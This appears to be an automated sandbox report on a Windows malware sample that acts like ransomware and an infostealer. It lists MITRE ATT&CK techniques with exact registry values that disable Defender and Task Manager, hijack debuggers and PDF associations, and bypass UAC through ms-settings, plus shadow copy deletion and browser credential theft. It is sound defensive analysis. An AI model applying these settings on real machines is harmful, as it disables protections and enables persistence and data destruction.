2b62cd84acace259d0dc9ff7ed2abb44a0bcae2f07a4f18b5c179cf5b7b362d2

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pixelio.io_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	pixelio.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1676	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pixelio.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pixelio.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5048	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	pixelio.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	pixelio.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	pixelio.io_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	pixelio.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	pixelio.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	pixelio.io_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4976	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pixelio.io_chrome.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5080	sc.exe
5052	sc.exe
3728	sc.exe
5792	sc.exe
2828	sc.exe
2184	sc.exe
2536	sc.exe
5020	sc.exe
5576	sc.exe
5976	sc.exe
2100	sc.exe
4968	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3620	NETSTAT.EXE
4384	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5440	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1988	vssadmin.exe
3804	vssadmin.exe
4408	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000\Control Panel\Desktop\WallpaperStyle = "2"	pixelio.io_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134226745426564546"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pixelio.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pixelio.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open\command	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\.pdf\ = "PDFBotnet"	pixelio.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe\" \"%1\""	pixelio.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open	pixelio.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell	pixelio.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings	pixelio.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings	pixelio.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixelio.io_chrome.exe"	pixelio.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pixelio.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pixelio.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open\command	pixelio.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2345208746-1589029588-866946394-1000_Classes\ms-settings\shell\open	pixelio.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5712	schtasks.exe
3956	schtasks.exe
2804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3192	chrome.exe
3192	chrome.exe
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe
5300	pixelio.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5300	pixelio.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeSecurityPrivilege	4084	WMIC.exe
Token: SeTakeOwnershipPrivilege	4084	WMIC.exe
Token: SeLoadDriverPrivilege	4084	WMIC.exe
Token: SeSystemProfilePrivilege	4084	WMIC.exe
Token: SeSystemtimePrivilege	4084	WMIC.exe
Token: SeProfSingleProcessPrivilege	4084	WMIC.exe
Token: SeIncBasePriorityPrivilege	4084	WMIC.exe
Token: SeCreatePagefilePrivilege	4084	WMIC.exe
Token: SeBackupPrivilege	4084	WMIC.exe
Token: SeRestorePrivilege	4084	WMIC.exe
Token: SeShutdownPrivilege	4084	WMIC.exe
Token: SeDebugPrivilege	4084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4084	WMIC.exe
Token: SeRemoteShutdownPrivilege	4084	WMIC.exe
Token: SeUndockPrivilege	4084	WMIC.exe
Token: SeManageVolumePrivilege	4084	WMIC.exe
Token: 33	4084	WMIC.exe
Token: 34	4084	WMIC.exe
Token: 35	4084	WMIC.exe
Token: 36	4084	WMIC.exe
Token: SeBackupPrivilege	740	vssvc.exe
Token: SeRestorePrivilege	740	vssvc.exe
Token: SeAuditPrivilege	740	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4084	WMIC.exe
Token: SeSecurityPrivilege	4084	WMIC.exe
Token: SeTakeOwnershipPrivilege	4084	WMIC.exe
Token: SeLoadDriverPrivilege	4084	WMIC.exe
Token: SeSystemProfilePrivilege	4084	WMIC.exe
Token: SeSystemtimePrivilege	4084	WMIC.exe
Token: SeProfSingleProcessPrivilege	4084	WMIC.exe
Token: SeIncBasePriorityPrivilege	4084	WMIC.exe
Token: SeCreatePagefilePrivilege	4084	WMIC.exe
Token: SeBackupPrivilege	4084	WMIC.exe
Token: SeRestorePrivilege	4084	WMIC.exe
Token: SeShutdownPrivilege	4084	WMIC.exe
Token: SeDebugPrivilege	4084	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4084	WMIC.exe
Token: SeRemoteShutdownPrivilege	4084	WMIC.exe
Token: SeUndockPrivilege	4084	WMIC.exe
Token: SeManageVolumePrivilege	4084	WMIC.exe
Token: 33	4084	WMIC.exe
Token: 34	4084	WMIC.exe
Token: 35	4084	WMIC.exe
Token: 36	4084	WMIC.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeDebugPrivilege	5300	pixelio.io_chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe
Token: SeCreatePagefilePrivilege	3192	chrome.exe
Token: SeShutdownPrivilege	3192	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe
3192	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5300	pixelio.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5300 wrote to memory of 3192	5300	pixelio.io_chrome.exe	79
PID 3192 wrote to memory of 6000	3192	chrome.exe	80
PID 5300 wrote to memory of 1676	5300	pixelio.io_chrome.exe	81
PID 5300 wrote to memory of 2828	5300	pixelio.io_chrome.exe	83
PID 5300 wrote to memory of 2184	5300	pixelio.io_chrome.exe	85
PID 5300 wrote to memory of 2536	5300	pixelio.io_chrome.exe	87
PID 5300 wrote to memory of 2100	5300	pixelio.io_chrome.exe	89
PID 5300 wrote to memory of 4968	5300	pixelio.io_chrome.exe	91
PID 5300 wrote to memory of 5080	5300	pixelio.io_chrome.exe	93
PID 5300 wrote to memory of 5052	5300	pixelio.io_chrome.exe	95
PID 5300 wrote to memory of 3728	5300	pixelio.io_chrome.exe	97
PID 3192 wrote to memory of 2308	3192	chrome.exe	98
PID 3192 wrote to memory of 2308	3192	chrome.exe	98
PID 3192 wrote to memory of 2408	3192	chrome.exe	99
PID 3192 wrote to memory of 2816	3192	chrome.exe	101
PID 3192 wrote to memory of 2816	3192	chrome.exe	101
PID 3192 wrote to memory of 3640	3192	chrome.exe	103
PID 3192 wrote to memory of 2260	3192	chrome.exe	104
PID 3192 wrote to memory of 3640	3192	chrome.exe	103
PID 3192 wrote to memory of 2260	3192	chrome.exe	104
PID 3192 wrote to memory of 5608	3192	chrome.exe	106
PID 3192 wrote to memory of 5608	3192	chrome.exe	106
PID 5300 wrote to memory of 4916	5300	pixelio.io_chrome.exe	107
PID 5300 wrote to memory of 5020	5300	pixelio.io_chrome.exe	108
PID 5300 wrote to memory of 5792	5300	pixelio.io_chrome.exe	110
PID 5300 wrote to memory of 1988	5300	pixelio.io_chrome.exe	112
PID 5300 wrote to memory of 4084	5300	pixelio.io_chrome.exe	114
PID 4916 wrote to memory of 856	4916	fodhelper.exe	116
PID 3192 wrote to memory of 6008	3192	chrome.exe	120
PID 3192 wrote to memory of 6008	3192	chrome.exe	120
PID 5300 wrote to memory of 5748	5300	pixelio.io_chrome.exe	121
PID 5300 wrote to memory of 2804	5300	pixelio.io_chrome.exe	167
PID 5300 wrote to memory of 5712	5300	pixelio.io_chrome.exe	125
PID 5300 wrote to memory of 1892	5300	pixelio.io_chrome.exe	128
PID 5300 wrote to memory of 1940	5300	pixelio.io_chrome.exe	130
PID 5300 wrote to memory of 1736	5300	pixelio.io_chrome.exe	132
PID 5300 wrote to memory of 3156	5300	pixelio.io_chrome.exe	133
PID 5300 wrote to memory of 5192	5300	pixelio.io_chrome.exe	134
PID 5300 wrote to memory of 4752	5300	pixelio.io_chrome.exe	135
PID 5300 wrote to memory of 384	5300	pixelio.io_chrome.exe	136
PID 5300 wrote to memory of 1240	5300	pixelio.io_chrome.exe	137
PID 5300 wrote to memory of 3804	5300	pixelio.io_chrome.exe	142
PID 5300 wrote to memory of 3956	5300	pixelio.io_chrome.exe	146
PID 5300 wrote to memory of 3132	5300	pixelio.io_chrome.exe	148
PID 5300 wrote to memory of 5744	5300	pixelio.io_chrome.exe	149
PID 5300 wrote to memory of 5184	5300	pixelio.io_chrome.exe	150
PID 5300 wrote to memory of 5048	5300	pixelio.io_chrome.exe	151
PID 5300 wrote to memory of 5976	5300	pixelio.io_chrome.exe	152
